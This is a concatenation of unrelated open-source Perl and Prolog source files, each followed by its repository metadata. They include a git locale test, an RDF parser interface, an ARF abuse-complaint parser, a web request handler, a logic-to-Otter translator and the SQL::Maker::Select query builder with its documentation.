$ENV{LC_ALL} = $is_IS_locale;
};
# Translation's the same as the original
my ($got, $expect) = (('TEST: A Perl test string') x 2);
if ($has_gettext_library) {
{
local %ENV; $env_C->();
$test->($got, $expect, "With", 'C');
}
{
my ($got, $expect) = ($got, 'TILRAUN: Perl tilraunastrengur');
local %ENV; $env_is->();
$test->($got, $expect, "With", $is_IS_locale);
}
} else {
{
local %ENV; $env_C->();
$test->($got, $expect, "Without", 'C');
}
{
local %ENV; $env_is->();
$test->($got, $expect, "Without", 'is');
}
}
}
| overtherain/scriptfile | tool-kit/git-2.1.2/t/t0202/test.pl | Perl | mit | 2,875 |
#!/usr/bin/env perl
# Check that given arguments do not exist on filesystem.
my $code = 0;
if ($#ARGV < 0) {
print "Usage: $0 file1 [fileN]\n";
exit 2;
}
while (@ARGV) {
my $fname = shift @ARGV;
if (-e $fname) {
print "Found '$fname' when not supposed to exist.\n";
$code = 1;
}
}
exit $code;
| Noah-Huppert/Website-2013 | vhosts/www.noahhuppert.com/htdocs/trex/deps/curl/tests/libtest/notexists.pl | Perl | mit | 329 |
package DDG::GoodieBundle::OpenSourceDuckDuckGo;
# ABSTRACT: The open source Goodie Bundle of DuckDuckGo
# This package is only a namespace/version holder
1;
| sagarhani/zeroclickinfo-goodies | lib/DDG/GoodieBundle/OpenSourceDuckDuckGo.pm | Perl | apache-2.0 | 160 |
# POD source for svkbd man page. Convert with:
# pod2man --stderr -s1 -c"Suckless.org Tools" -r20140130 svkbd.pod > svkbd.1
=pod
=head1 NAME
B<svkbd> - simple virtual keyboard
=head1 SYNOPSIS
B<svkbd>-I<layout> [-d] [-g geometry]
B<svkbd>-I<layout> [-v|-h]
=head1 DESCRIPTION
B<svkbd> is a simple mouse-operated virtual keyboard, intended to be
used in environments where no keyboard is available.
=head1 OPTIONS
=over
=item B<-d>
This tells B<svkbd> to announce itself being a dock window, which then
is managed differently between different window managers. If using dwm
and the dock patch, then this will make svkbd being managed by dwm and
some space of the screen being reserved for it.
=item B<-g geometry>
Sets starting size and position. Standard X11 geometry specification,
WxH[+-]X[+-Y], such as used by xterm(1).
=item B<-v>
Prints the version number and exits.
=item B<-h>
Prints usage message and exits.
=back
=head1 ENVIRONMENT
B<DISPLAY> - used in the usual way.
=head1 AUTHORS
B<svkbd> was written by Christoph Lohmann (20h@r-36.net)
and Enno Boland (g # s01 ' de)
This man page written by B. Watson for the SlackBuilds.org project. It
may be used by anyone.
=cut
| panosmdma/SlackOnly-SlackBuilds | accessibility/svkbd/svkbd.pod | Perl | mit | 1,204 |
package MT::AssetFieldOptions::L10N;
use strict;
use base 'MT::Plugin::L10N';
1;
| miyanaga/mt-asset-field-opitons | plugins/AssetFieldOptions/lib/MT/AssetFieldOptions/L10N.pm | Perl | mit | 83 |
#
# The contents of this file are subject to the Mozilla Public
# License Version 1.1 (the "License"); you may not use this file
# except in compliance with the License. You may obtain a copy of
# the License at http://www.mozilla.org/MPL/
#
# Software distributed under the License is distributed on an "AS
# IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or
# implied. See the License for the specific language governing
# rights and limitations under the License.
#
# The Original Code is the RDF::Core module
#
# The Initial Developer of the Original Code is Ginger Alliance Ltd.
# Portions created by Ginger Alliance are
# Copyright (C) 2001 Ginger Alliance Ltd.
# All Rights Reserved.
#
# Contributor(s):
#
# Alternatively, the contents of this file may be used under the
# terms of the GNU General Public License Version 2 or later (the
# "GPL"), in which case the provisions of the GPL are applicable
# instead of those above. If you wish to allow use of your
# version of this file only under the terms of the GPL and not to
# allow others to use your version of this file under the MPL,
# indicate your decision by deleting the provisions above and
# replace them with the notice and other provisions required by
# the GPL. If you do not delete the provisions above, a recipient
# may use your version of this file under either the MPL or the
# GPL.
#
package RDF::Core::Model::Parser;
use strict;
require Exporter;
use Carp;
require RDF::Core::Parser;
require RDF::Core::Statement;
require RDF::Core::NodeFactory;
sub new {
my ($pkg,%options) = @_;
$pkg = ref $pkg || $pkg;
my $self = {};
$self->{_options} = \%options;
bless $self, $pkg;
}
sub setOptions {
my ($self,$options) = @_;
$self->{_options} = $options;
}
sub getOptions {
my $self = shift;
return $self->{_options};
}
sub parse {
my $self = shift;
if (@_ > 0) {
#set options if passed
$self->{_options} = $_[0];
}
# make copy of options for parser
my %parserOptions = %{$self->getOptions};
delete $parserOptions{Model};
delete $parserOptions{Source};
delete $parserOptions{SourceType};
$parserOptions{Assert} =
sub {my %params = @_;
my $params = \%params;
my $factory = new RDF::Core::NodeFactory();
my ($subject,$object,$predicate);
if (exists $params->{subject_ns}) {
$subject = $factory->newResource($params->{subject_ns},
$params->{subject_name});
} else {
$subject = $factory->newResource($params->{subject_uri});
}
if (exists $params->{predicate_ns}) {
$predicate = $factory->newResource($params->{predicate_ns},
$params->{predicate_name});
} else {
$predicate = $factory->newResource($params->{predicate_uri});
}
if (exists $params->{object_literal}) {
$object = $factory->newLiteral($params->{object_literal},
$params->{object_lang} || undef,
$params->{object_datatype}||undef
);
} elsif (exists $params->{object_ns}) {
$object = $factory->newResource($params->{object_ns},
$params->{object_name});
} else {
$object = $factory->newResource($params->{object_uri});
}
my $st = new RDF::Core::Statement($subject,$predicate,$object);
$self->getOptions->{Model}->addStmt($st);
}
unless defined $parserOptions{Assert};
my $parser = new RDF::Core::Parser(%parserOptions);
return $parser->parse($self->getOptions->{Source})
if $self->getOptions->{SourceType} eq 'string';
return $parser->parseFile($self->getOptions->{Source})
if $self->getOptions->{SourceType} eq 'file';
}
1;
__END__
=head1 NAME
RDF::Core::Model::Parser - interface between model and RDF::Core::Parser
=head1 SYNOPSIS
require RDF::Core::Model::Parser;
%options = (Model => $model,
Source => $fileName,
SourceType => 'file',
#parserOptions
BaseURI => "http://www.foo.com/",
BNodePrefix => "genid"
)
my $parser = new RDF::Core::Model::Parser(%options);
$parser->parse;
=head1 DESCRIPTION
While RDF::Core::Parser transforms RDF/XML syntax into general assertions, RDF::Core::Model::Parser defines default handler for assertion and provides methods that should conform any parsing request. That is setting options and doing the parse job. If there is need for use of another existing rdf parser or more parsers, a new parser interface should be created.
=head2 Interface
=over 4
=item * new(%options)
Available options are:
=over 4
=item * Model
Where should the statements be stored in.
=item * Source
A name of a XML file or a string containing XML.
=item * SourceType
Contains 'string' if source is a XML string or 'file' if source is a file name.
=item * [ParserOptions]
All other options are passed to the parser (L<RDF::Core::Parser>).
=back
=item * getOptions
=item * setOptions(\%options)
=item * parse
=back
=head1 LICENSE
This package is subject to the MPL (or the GPL alternatively).
=head1 AUTHOR
Ginger Alliance, rdf@gingerall.cz
=head1 SEE ALSO
RDF::Core::Parser, RDF::Core::Model
=cut
| carlgao/lenga | images/lenny64-peon/usr/share/perl5/RDF/Core/Model/Parser.pm | Perl | mit | 5,179 |
package AUP::Complaints;
use strict;
use Scalar::Util 'openhandle';
use Time::ParseDate; # libtime-modules-perl
use AUP::Complaints::GenerateSQL;
use Email::ARF::Report;
use Net::CIDR::Lite;
use AUP::Complaints::Parse::HostedEmail;
sub new {
my $class = shift;
my $options = {
dbfn => '/tmp/aup.db',
#parser => AUP::Complaints::Parse::HostedEmail->new(),
@_,
};
AUP::Complaints::GenerateSQL->create( $options->{dbfn} )
unless -f $options->{dbfn};
$options->{dbh} = DBI->connect("dbi:SQLite:dbname=$options->{dbfn}","","");
return bless $options => $class;
}
sub parse_complaint {
my $self = shift;
my $complaint = shift;
my $complainttxt;
my $complaint_filename;
if( -f $complaint ){
open FD, "<$complaint";
$complainttxt = do { local $/; <FD>; };
$complaint_filename = $complaint;
} elsif( my $fh = openhandle( $complaint ) ){
$complainttxt = do { local $/; <$fh>; };
} else {
# Let's assume that a string was passed in which IS the complaint
$complainttxt = $complaint;
}
my $report = Email::ARF::Report->new( $complainttxt ) or return undef;;
my $evidence = $report->original_email();
my $auth = $self->{parser}->auth( $evidence ) || return undef;
my $epoch = $self->{parser}->received( $evidence );
my ($subject, $from, $to, $replyto );
$subject = $_ for ( $evidence->header( "Subject" ) );
$from = $_ for ( $evidence->header( "From" ) );
$replyto = $_ for ( $evidence->header( "Reply-To" ) );
$to = $_ for ( $evidence->header( "To" ) );
my @ips = join( " ", $evidence->header( "Received" ) ) =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/g;
$self->{complaint} = {
filename => $complaint_filename,
subject => $subject,
from => $from,
replyto => $replyto,
to => $to,
ips => \@ips,
auth => $auth,
epoch => $epoch,
};
$self->insert_into_sql
unless $self->exists;
}
sub insert_into_sql {
my $self = shift;
return unless $self->{complaint};
my $sth = $self->{dbh}->prepare( "INSERT INTO complaint ( filename, auth, replyto, subject, ips, epoch ) VALUES ( ?, ?, ?, ?, ?, ? )" );
use Data::Dumper;
my $array = [ $self->{complaint}->{filename},
$self->{complaint}->{auth},
$self->{complaint}->{replyto},
$self->{complaint}->{subject},
join( ",", @{$self->{complaint}->{ips}} ),
$self->{complaint}->{epoch},
];
$sth->bind_param_array( 1, $array );
my $p = 0;
for( @$array ){
$sth->bind_param( ++$p, $_ );
}
#print "Storing [$self->{complaint}->{filename}] to database..\n";
$sth->execute;
#DBI::dump_results($sth);
}
sub lookup {
my ($self, $clause) = @_;
my $sth = $self->{dbh}->prepare( "SELECT filename, auth, replyto, subject, ips, epoch FROM complaint " . $clause );
$sth->execute;
my $results = $sth->fetchall_arrayref( );
my @ret;
use Data::Dumper;
for my $row ( $results ){
for( @$row ){
my $cidr = Net::CIDR::Lite->new;
$cidr->add_any( $_ ) for split( /,/, $_->[4] );
push( @ret, {
filename => $_->[0],
auth => $_->[1],
replyto => $_->[2],
subject => $_->[3],
ips => $cidr,
epoch => $_->[5],
});
}
}
return \@ret;
}
sub exists {
my $self = shift;
my $filename = shift;
my $sth = $self->{dbh}->prepare( "SELECT * FROM complaint where filename = ?" );
$sth->bind_param( 1, $self->{complaint}->{filename} );
$sth->execute;
my @ary = $sth->fetchrow_array ();
$sth->finish ();
return scalar @ary > 0;
}
1;
__END__
| petermblair/libemail | aup-sql/lib/AUP/Complaints.pm | Perl | mit | 3,432 |
# main entry point code to be used in creating a top end Dancer application.
# your application should always subclass this to define it's own template
# engine wrapper, default error class, and handler.
use MooseX::Declare;
use strict;
use warnings;
use MIME::Types;
use Arizona::Err::Forbidden;
use Arizona::Engine::Loader;
use Arizona::Engine::ErrorCatcher;
class Arizona::Engine::Handler {
use Method::Signatures::Simple name => 'action';
# are we serving a JSON/REST request?
has is_rest => (is => 'rw', isa => 'Bool', default => 0);
# what Controller to target?
has noun => (is => 'rw', isa => 'Str', required => 1);
# what Method in the Controller to target?
has verb => (is => 'rw', isa => 'Str', required => 1);
# this is something like 'Page' or 'Rest' and is a top level directory
# containing different types of controllers.
has category => (is => 'rw', isa => 'Str', required => 1);
# the Dancer request object.
has request => (is => 'rw', isa => 'Object', required => 1);
# an organization-specific subclass of Arizona::Engine::Templar
has templar => (is => 'rw', isa => 'Object', required => 1);
# an organization-specific subclass of an Arizona::Err::<someclass>
has default_error => (is => 'rw', isa => 'Object', required => 1);
# derived from the inputs, these represent the Perl location corresponding to the category/noun/verb
has namespace => (is => 'rw', isa => 'Str', lazy => 1, builder => '_make_namespace');
has target => (is => 'rw', isa => 'Str', lazy => 1, builder => '_make_target');
# find the Perl module path
action _make_namespace() {
my $namespace = $self->namespaces()->{$self->category()};
}
# defines what controller namespaces are loadable, this should return a hash (see examples)
# and is a security gate preventing loading of arbitrary modules
action namespaces() {
die "must override in subclass";
}
# optional startup code called before making each new request
# if you're using Elevator, might want to do something like clear & enable the object cache here.
action setup_hook() {
}
# used to serve routes (see examples/phoenix.pl). Call after constructing the object.
action dynamic_call() {
$self->is_rest() if ($self->category() eq 'Rest');
$self->setup_hook();
eval {
return $self->_make_request();
} or do {
my $error = $@;
return Arizona::Engine::ErrorCatcher->new(
default_error => $self->default_error(),
templar => $self->templar())->handle($error, $self->is_rest()
);
};
}
# optional pre-request hook
action _pre_request() {
}
# come up with Perl function name to call, including module
# i.e. Acme::Controllers::Page::Foo::RENDER_method
action _make_target() {
# this is so we don't have to use colons in the URL, which looks weird to humans
my $_noun = $self->noun();
$_noun =~ s/_/::/g;
$_noun =~ s/-/::/g;
return $self->namespace() . "::" . $_noun . "::" . $self->verb();
}
# dynamically load a controller and execute it
action _make_request() {
$self->_pre_request();
die Arizona::Err::Forbidden->new(text => 'invalid namespace') unless $self->namespace();
my $user = $self->get_user();
my $target = $self->target();
$self->request($self->enable_cookies());
# loader wraps the actual dynamic call to the module. Handler mostly is there to figure
# out how to invoke the loader. It should be possible to merge these two modules and simplify.
return Arizona::Engine::Loader->new(
is_rest => $self->is_rest(),
class_and_method => $self->target(),
request => $self->request(),
user => $user
)->invoke();
}
# tweak the Dancer request object so it can manipulate cookies.
# we'll pass this request through the app, but other modules won't use/import Dancer directly.
action enable_cookies() {
my $_request = $self->request();
$_request->{set_cookie} = \&set_cookie;
$_request->{cookies} = \&cookies;
return $_request;
}
# must either return a user object or raise an exception (like Arizona::Err::LoginFailed)
# this is the authentication code for the app, see examples.
action get_user($namespace, $request) {
die "get user must be implemented in a subclass";
}
}
| mpdehaan/Arizona | lib/Arizona/Engine/Handler.pm | Perl | mit | 4,568 |
#!/usr/bin/perl -w
# writen by andrewt@cse.unsw.edu.au as a COMP2041 example
# implementation of /bin/echo
print join(' ', @ARGV);
| nathano/Perl_to_Python_Converter | examples/subset3/echo.2.pl | Perl | mit | 132 |
/*************************************************************************
File: fol2otter.pl
Copyright (C) 2004 Patrick Blackburn & Johan Bos
This file is part of BB1, version 1.2 (August 2005).
BB1 is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
BB1 is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with BB1; if not, write to the Free Software Foundation, Inc.,
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*************************************************************************/
:- module(fol2otter,[fol2otter/2,fol2mace/2]).
:- use_module(comsemPredicates,[basicFormula/1]).
/*========================================================================
Translates formula to Otter syntax on Stream
========================================================================*/
fol2otter(Formula,Stream):-
format(Stream,'set(auto).~n~n',[]),
format(Stream,'assign(max_seconds,30).~n~n',[]),
format(Stream,'clear(print_proofs).~n~n',[]),
format(Stream,'set(prolog_style_variables).~n~n',[]),
format(Stream,'formula_list(usable).~n~n',[]),
printOtterFormula(Stream,Formula),
format(Stream,'~nend_of_list.~n',[]).
/*========================================================================
Translates formula to MACE syntax on Stream
========================================================================*/
fol2mace(Formula,Stream):-
format(Stream,'set(auto).~n~n',[]),
format(Stream,'clear(print_proofs).~n~n',[]),
format(Stream,'set(prolog_style_variables).~n~n',[]),
format(Stream,'formula_list(usable).~n~n',[]),
printOtterFormula(Stream,Formula),
format(Stream,'~nend_of_list.~n',[]).
/*========================================================================
Print an Otter formula (introducing tab)
========================================================================*/
printOtterFormula(Stream,F):-
\+ \+ (
numbervars(F,0,_),
printOtter(Stream,F,5)
),
format(Stream,'.~n',[]).
/*========================================================================
Print Otter formulas
========================================================================*/
printOtter(Stream,some(X,Formula),Tab):-
write(Stream,'(exists '),
write_term(Stream,X,[numbervars(true)]),
write(Stream,' '),
printOtter(Stream,Formula,Tab),
write(Stream,')').
printOtter(Stream,all(X,Formula),Tab):-
write(Stream,'(all '),
write_term(Stream,X,[numbervars(true)]),
write(Stream,' '),
printOtter(Stream,Formula,Tab),
write(Stream,')').
printOtter(Stream,que(X,Formula1,Formula2),Tab):-
write(Stream,'(exists '),
write_term(Stream,X,[numbervars(true)]),
write(Stream,' '),
printOtter(Stream,and(Formula1,Formula2),Tab),
write(Stream,')').
printOtter(Stream,and(Phi,Psi),Tab):-
write(Stream,'('),
printOtter(Stream,Phi,Tab),
format(Stream,' & ~n',[]),
tab(Stream,Tab),
NewTab is Tab + 5,
printOtter(Stream,Psi,NewTab),
write(Stream,')').
printOtter(Stream,or(Phi,Psi),Tab):-
write(Stream,'('),
printOtter(Stream,Phi,Tab),
write(Stream,' | '),
printOtter(Stream,Psi,Tab),
write(Stream,')').
printOtter(Stream,imp(Phi,Psi),Tab):-
write(Stream,'('),
printOtter(Stream,Phi,Tab),
write(Stream,' -> '),
printOtter(Stream,Psi,Tab),
write(Stream,')').
printOtter(Stream,not(Phi),Tab):-
write(Stream,'-('),
printOtter(Stream,Phi,Tab),
write(Stream,')').
printOtter(Stream,eq(X,Y),_):-
write(Stream,'('),
write_term(Stream,X,[numbervars(true)]),
write(Stream,' = '),
write_term(Stream,Y,[numbervars(true)]),
write(Stream,')').
printOtter(Stream,Phi,_):-
basicFormula(Phi),
write_term(Stream,Phi,[numbervars(true)]).
| TeamSPoon/logicmoo_workspace | packs_sys/logicmoo_nlu/ext/CURT/bb1/fol2otter.pl | Perl | mit | 4,192 |
package SQL::Maker::Select;
use strict;
use warnings;
use utf8;
use SQL::Maker::Condition;
use SQL::Maker::Util;
use Class::Accessor::Lite (
new => 0,
wo => [qw/distinct for_update/],
rw => [qw/prefix/],
ro => [qw/quote_char name_sep new_line strict/],
);
use Scalar::Util ();
sub offset {
if (@_==1) {
return $_[0]->{offset};
} else {
$_[0]->{offset} = $_[1];
return $_[0];
}
}
sub limit {
if (@_==1) {
$_[0]->{limit};
} else {
$_[0]->{limit} = $_[1];
return $_[0];
}
}
sub new {
my $class = shift;
my %args = @_ == 1 ? %{$_[0]} : @_;
my $self = bless {
select => +[],
distinct => 0,
select_map => +{},
select_map_reverse => +{},
from => +[],
joins => +[],
index_hint => +{},
group_by => +[],
order_by => +[],
prefix => 'SELECT ',
new_line => "\n",
strict => 0,
%args
}, $class;
return $self;
}
sub new_condition {
my $self = shift;
SQL::Maker::Condition->new(
quote_char => $self->{quote_char},
name_sep => $self->{name_sep},
strict => $self->{strict},
);
}
sub bind {
my $self = shift;
my @bind;
push @bind, @{$self->{subqueries}} if $self->{subqueries};
push @bind, $self->{where}->bind if $self->{where};
push @bind, $self->{having}->bind if $self->{having};
return wantarray ? @bind : \@bind;
}
sub add_select {
my ($self, $term, $col) = @_;
$col ||= $term;
push @{ $self->{select} }, $term;
$self->{select_map}->{$term} = $col;
$self->{select_map_reverse}->{$col} = $term;
return $self;
}
sub add_from {
my ($self, $table, $alias) = @_;
if ( Scalar::Util::blessed( $table ) and $table->can('as_sql') ) {
push @{ $self->{subqueries} }, $table->bind;
push @{$self->{from}}, [ \do{ '(' . $table->as_sql . ')' }, $alias ];
}
else {
push @{$self->{from}}, [$table, $alias];
}
return $self;
}
sub add_join {
my ($self, $table_ref, $joins) = @_;
my ($table, $alias) = ref($table_ref) eq 'ARRAY' ? @$table_ref : ($table_ref);
if ( Scalar::Util::blessed( $table ) and $table->can('as_sql') ) {
push @{ $self->{subqueries} }, $table->bind;
$table = \do{ '(' . $table->as_sql . ')' };
}
push @{ $self->{joins} }, {
table => [ $table, $alias ],
joins => $joins,
};
return $self;
}
sub add_index_hint {
my ($self, $table, $hint) = @_;
my ($type, $list);
if (ref $hint eq 'HASH') {
# { type => '...', list => ['foo'] }
$type = $hint->{type} || 'USE';
$list = ref($hint->{list}) eq 'ARRAY' ? $hint->{list} : [ $hint->{list} ];
} else {
# ['foo, 'bar'] or just 'foo'
$type = 'USE';
$list = ref($hint) eq 'ARRAY' ? $hint : [ $hint ];
}
$self->{index_hint}->{$table} = {
type => $type,
list => $list,
};
return $self;
}
sub _quote {
my ($self, $label) = @_;
return $$label if ref $label eq 'SCALAR';
SQL::Maker::Util::quote_identifier($label, $self->{quote_char}, $self->{name_sep})
}
sub as_sql {
my $self = shift;
my $sql = '';
my $new_line = $self->new_line;
if (@{ $self->{select} }) {
$sql .= $self->{prefix};
$sql .= 'DISTINCT ' if $self->{distinct};
$sql .= join(', ', map {
my $alias = $self->{select_map}->{$_};
if (!$alias) {
$self->_quote($_)
} elsif ($alias && $_ =~ /(?:^|\.)\Q$alias\E$/) {
$self->_quote($_)
} else {
$self->_quote($_) . ' AS ' . $self->_quote($alias)
}
} @{ $self->{select} }) . $new_line;
}
$sql .= 'FROM ';
## Add any explicit JOIN statements before the non-joined tables.
if ($self->{joins} && @{ $self->{joins} }) {
my $initial_table_written = 0;
for my $j (@{ $self->{joins} }) {
my ($table, $join) = map { $j->{$_} } qw( table joins );
$table = $self->_add_index_hint(@$table); ## index hint handling
$sql .= $table unless $initial_table_written++;
$sql .= ' ' . uc($join->{type}) if $join->{type};
$sql .= ' JOIN ' . $self->_quote($join->{table});
$sql .= ' ' . $self->_quote($join->{alias}) if $join->{alias};
if ( defined $join->{condition} ) {
if (ref $join->{condition} && ref $join->{condition} eq 'ARRAY') {
$sql .= ' USING ('. join(', ', map { $self->_quote($_) } @{ $join->{condition} }) . ')';
}
elsif (ref $join->{condition} && ref $join->{condition} eq 'HASH') {
my @conds;
for my $key (keys %{ $join->{condition} }) {
push @conds, $self->_quote($key) . ' = ' . $self->_quote($join->{condition}{$key});
}
$sql .= ' ON ' . join(' AND ', @conds);
}
else {
$sql .= ' ON ' . $join->{condition};
}
}
}
$sql .= ', ' if @{ $self->{from} };
}
if ($self->{from} && @{ $self->{from} }) {
$sql .= join ', ',
map { $self->_add_index_hint($_->[0], $_->[1]) }
@{ $self->{from} };
}
$sql .= $new_line;
$sql .= $self->as_sql_where() if $self->{where};
$sql .= $self->as_sql_group_by if $self->{group_by};
$sql .= $self->as_sql_having if $self->{having};
$sql .= $self->as_sql_order_by if $self->{order_by};
$sql .= $self->as_sql_limit if defined $self->{limit};
$sql .= $self->as_sql_for_update;
$sql =~ s/${new_line}+$//;
return $sql;
}
sub as_sql_limit {
my $self = shift;
my $n = $self->{limit};
return '' unless defined $n;
die "Non-numerics in limit clause ($n)" if $n =~ /\D/;
return sprintf "LIMIT %d%s" . $self->new_line, $n,
($self->{offset} ? " OFFSET " . int($self->{offset}) : "");
}
sub add_order_by {
my ($self, $col, $type) = @_;
push @{$self->{order_by}}, [$col, $type];
return $self;
}
sub as_sql_order_by {
my ($self) = @_;
my @attrs = @{$self->{order_by}};
return '' unless @attrs;
return 'ORDER BY '
. join(', ', map {
my ($col, $type) = @$_;
if (ref $col) {
$$col
} else {
$type ? $self->_quote($col) . " $type" : $self->_quote($col)
}
} @attrs)
. $self->new_line;
}
sub add_group_by {
my ($self, $group, $order) = @_;
push @{$self->{group_by}}, $order ? $self->_quote($group) . " $order" : $self->_quote($group);
return $self;
}
sub as_sql_group_by {
my ($self,) = @_;
my $elems = $self->{group_by};
return '' if @$elems == 0;
return 'GROUP BY '
. join(', ', @$elems)
. $self->new_line;
}
sub set_where {
my ($self, $where) = @_;
$self->{where} = $where;
return $self;
}
sub add_where {
my ($self, $col, $val) = @_;
$self->{where} ||= $self->new_condition();
$self->{where}->add($col, $val);
return $self;
}
sub add_where_raw {
my ($self, $term, $bind) = @_;
$self->{where} ||= $self->new_condition();
$self->{where}->add_raw($term, $bind);
return $self;
}
sub as_sql_where {
my $self = shift;
my $where = $self->{where}->as_sql(undef, sub { $self->_quote($_[0]) });
$where ? "WHERE $where" . $self->new_line : '';
}
sub as_sql_having {
my $self = shift;
if ($self->{having}) {
'HAVING ' . $self->{having}->as_sql . $self->new_line;
} else {
''
}
}
sub add_having {
my ($self, $col, $val) = @_;
if (my $orig = $self->{select_map_reverse}->{$col}) {
$col = $orig;
}
$self->{having} ||= $self->new_condition();
$self->{having}->add($col, $val);
return $self;
}
sub as_sql_for_update {
my $self = shift;
$self->{for_update} ? ' FOR UPDATE' : '';
}
sub _add_index_hint {
my ($self, $tbl_name, $alias) = @_;
my $quoted = $alias ? $self->_quote($tbl_name) . ' ' . $self->_quote($alias) : $self->_quote($tbl_name);
my $hint = $self->{index_hint}->{$tbl_name};
return $quoted unless $hint && ref($hint) eq 'HASH';
if ($hint->{list} && @{ $hint->{list} }) {
return $quoted . ' ' . uc($hint->{type} || 'USE') . ' INDEX (' .
join (',', map { $self->_quote($_) } @{ $hint->{list} }) .
')';
}
return $quoted;
}
1;
__END__
=head1 NAME
SQL::Maker::Select - dynamic SQL generator
=head1 SYNOPSIS
my $sql = SQL::Maker::Select->new()
->add_select('foo')
->add_select('bar')
->add_select('baz')
->add_from('table_name')
->as_sql;
# => "SELECT foo, bar, baz FROM table_name"
=head1 DESCRIPTION
=head1 METHODS
=over 4
=item C<< my $sql = $stmt->as_sql(); >>
Render the SQL string.
=item C<< my @bind = $stmt->bind(); >>
Get the bind variables.
=item C<< $stmt->add_select('*') >>
=item C<< $stmt->add_select($col => $alias) >>
=item C<< $stmt->add_select(\'COUNT(*)' => 'cnt') >>
Add a new select term. It's automatically quoted.
=item C<< $stmt->add_from($table :Str | $select :SQL::Maker::Select) : SQL::Maker::Select >>
Add a new FROM clause. You can specify the table name or an instance of L<SQL::Maker::Select> for a sub-query.
I<Return:> $stmt itself.
=item C<< $stmt->add_join(user => {type => 'inner', table => 'config', condition => 'user.user_id = config.user_id'}); >>
=item C<< $stmt->add_join(user => {type => 'inner', table => 'config', condition => {'user.user_id' => 'config.user_id'}); >>
=item C<< $stmt->add_join(user => {type => 'inner', table => 'config', condition => ['user_id']}); >>
Add a new JOIN clause. If you pass an arrayref for 'condition' then it uses 'USING'. If 'type' is omitted
it falls back to plain JOIN.
my $stmt = SQL::Maker::Select->new();
$stmt->add_join(
user => {
type => 'inner',
table => 'config',
condition => 'user.user_id = config.user_id',
}
);
$stmt->as_sql();
# => 'FROM user INNER JOIN config ON user.user_id = config.user_id'
my $stmt = SQL::Maker::Select->new(quote_char => '`', name_sep => '.');
$stmt->add_join(
user => {
type => 'inner',
table => 'config',
condition => {'user.user_id' => 'config.user_id'},
}
);
$stmt->as_sql();
# => 'FROM `user` INNER JOIN `config` ON `user`.`user_id` = `config`.`user_id`'
my $stmt = SQL::Maker::Select->new();
$stmt->add_select('name');
$stmt->add_join(
user => {
type => 'inner',
table => 'config',
condition => ['user_id'],
}
);
$stmt->as_sql();
# => 'SELECT name FROM user INNER JOIN config USING (user_id)'
my $subquery = SQL::Maker::Select->new();
$subquery->add_select('*');
$subquery->add_from( 'foo' );
$subquery->add_where( 'hoge' => 'fuga' );
my $stmt = SQL::Maker::Select->new();
$stmt->add_join(
[ $subquery, 'bar' ] => {
type => 'inner',
table => 'baz',
alias => 'b1',
condition => 'bar.baz_id = b1.baz_id'
},
);
$stmt->as_sql;
# => "FROM (SELECT * FROM foo WHERE (hoge = ?)) bar INNER JOIN baz b1 ON bar.baz_id = b1.baz_id";
=item C<< $stmt->add_index_hint(foo => {type => 'USE', list => ['index_hint']}); >>
=item C<< $stmt->add_index_hint(foo => 'index_hint'); >>
=item C<< $stmt->add_index_hint(foo => ['index_hint']); >>
my $stmt = SQL::Maker::Select->new();
$stmt->add_select('name');
$stmt->add_from('user');
$stmt->add_index_hint(user => {type => 'USE', list => ['index_hint']});
$stmt->as_sql();
# => "SELECT name FROM user USE INDEX (index_hint)"
=item C<< $stmt->add_where('foo_id' => 'bar'); >>
Add a new WHERE clause.
my $stmt = SQL::Maker::Select->new()
->add_select('c')
->add_from('foo')
->add_where('name' => 'john')
->add_where('type' => {IN => [qw/1 2 3/]})
->as_sql();
# => "SELECT c FROM foo WHERE (name = ?) AND (type IN (?, ?, ?))"
=item C<< $stmt->add_where_raw('id = ?', [1]) >>
Add a new WHERE clause from raw placeholder string and bind variables.
my $stmt = SQL::Maker::Select->new()
->add_select('c')
->add_from('foo')
->add_where_raw('EXISTS(SELECT * FROM bar WHERE name = ?)' => ['john'])
->add_where_raw('type IS NOT NULL')
->as_sql();
# => "SELECT c FROM foo WHERE (EXISTS(SELECT * FROM bar WHERE name = ?)) AND (type IS NOT NULL)"
=item C<< $stmt->set_where($condition) >>
Set the WHERE clause.
$condition should be instance of L<SQL::Maker::Condition>.
my $cond1 = SQL::Maker::Condition->new()
->add("name" => "john");
my $cond2 = SQL::Maker::Condition->new()
->add("type" => {IN => [qw/1 2 3/]});
my $stmt = SQL::Maker::Select->new()
->add_select('c')
->add_from('foo')
->set_where($cond1 & $cond2)
->as_sql();
# => "SELECT c FROM foo WHERE ((name = ?)) AND ((type IN (?, ?, ?)))"
=item C<< $stmt->add_order_by('foo'); >>
=item C<< $stmt->add_order_by({'foo' => 'DESC'}); >>
Add a new ORDER BY clause.
my $stmt = SQL::Maker::Select->new()
->add_select('c')
->add_from('foo')
->add_order_by('name' => 'DESC')
->add_order_by('id')
->as_sql();
# => "SELECT c FROM foo ORDER BY name DESC, id"
=item C<< $stmt->add_group_by('foo'); >>
Add a new GROUP BY clause.
my $stmt = SQL::Maker::Select->new()
->add_select('c')
->add_from('foo')
->add_group_by('id')
->as_sql();
# => "SELECT c FROM foo GROUP BY id"
my $stmt = SQL::Maker::Select->new()
->add_select('c')
->add_from('foo')
->add_group_by('id' => 'DESC')
->as_sql();
# => "SELECT c FROM foo GROUP BY id DESC"
=item C<< $stmt->limit(30) >>
=item C<< $stmt->offset(5) >>
Add LIMIT and OFFSET.
my $stmt = SQL::Maker::Select->new()
->add_select('c')
->add_from('foo')
->limit(30)
->offset(5)
->as_sql();
# => "SELECT c FROM foo LIMIT 30 OFFSET 5"
=item C<< $stmt->add_having(cnt => 2) >>
Add a HAVING clause.
my $stmt = SQL::Maker::Select->new()
->add_from('foo')
->add_select(\'COUNT(*)' => 'cnt')
->add_having(cnt => 2)
->as_sql();
# => "SELECT COUNT(*) AS cnt FROM foo HAVING (COUNT(*) = ?)"
=back
=head1 SEE ALSO
L<Data::ObjectDriver::SQL>
| rosiro/wasarabi | local/lib/perl5/SQL/Maker/Select.pm | Perl | mit | 16,165 |
#!/usr/bin/perl -w
#
# ***** BEGIN LICENSE BLOCK *****
# Zimbra Collaboration Suite Server
